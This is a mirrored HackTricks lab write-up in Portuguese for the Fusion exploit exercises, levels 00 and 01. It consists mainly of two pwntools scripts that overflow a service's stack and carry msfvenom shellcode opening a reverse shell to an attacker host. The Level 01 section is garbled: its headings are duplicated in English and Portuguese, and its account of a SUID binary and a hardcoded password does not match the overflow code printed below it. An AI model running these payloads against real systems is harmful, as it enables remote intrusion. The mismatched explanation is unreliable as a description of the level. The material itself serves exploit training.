mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
129 lines
6 KiB
Markdown
129 lines
6 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
# Level00
|
|
|
|
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
|
|
|
1. Obtenha o deslocamento para modificar o EIP
|
|
2. Coloque o endereço do shellcode no EIP
|
|
```python
|
|
from pwn import *
|
|
|
|
r = remote("192.168.85.181", 20000)
|
|
|
|
buf = "GET " # Needed
|
|
buf += "A"*139 # Offset 139
|
|
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
|
|
buf += " HTTP/1.1" # Needed
|
|
buf += "\x90"*100 # NOPs
|
|
|
|
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
|
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
|
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
|
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
|
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
|
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
|
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
|
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
|
buf += "\x65\xd9\x0f\x01"
|
|
|
|
r.recvline()
|
|
r.send(buf)
|
|
r.interactive()
|
|
```
|
|
# Nível 01
|
|
|
|
## Reconnaissance
|
|
|
|
## Reconhecimento
|
|
|
|
### Ports
|
|
|
|
### Portas
|
|
|
|
We can see that port 22 (ssh) is open.
|
|
|
|
Podemos ver que a porta 22 (ssh) está aberta.
|
|
|
|
### SUID files
|
|
|
|
### Arquivos SUID
|
|
|
|
We can see that there is a SUID file called `/usr/bin/.../.../level01` owned by flag01.
|
|
|
|
Podemos ver que há um arquivo SUID chamado `/usr/bin/.../.../level01` de propriedade do usuário flag01.
|
|
|
|
## Exploitation
|
|
|
|
## Exploração
|
|
|
|
### Password in binary
|
|
|
|
### Senha em binário
|
|
|
|
We can see that the binary `/usr/bin/.../.../level01` is using the password `uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL`.
|
|
|
|
Podemos ver que o binário `/usr/bin/.../.../level01` está usando a senha `uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL`.
|
|
|
|
### Exploit
|
|
|
|
### Explorar
|
|
|
|
We can use the password to log in as flag01 and get the flag.
|
|
|
|
Podemos usar a senha para fazer login como flag01 e obter a flag.
|
|
```python
|
|
from pwn import *
|
|
|
|
r = remote("192.168.85.181", 20001)
|
|
|
|
buf = "GET " # Needed
|
|
buf += "A"*139 # Offset 139
|
|
buf += p32(0x08049f4f) # Adress of: JMP esp
|
|
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
|
|
buf += " HTTP/1.1" # Needed
|
|
buf += "\x90"*100 # NOPs
|
|
|
|
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
|
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
|
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
|
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
|
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
|
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
|
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
|
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
|
buf += "\x65\xd9\x0f\x01"
|
|
|
|
r.send(buf)
|
|
r.interactive()
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|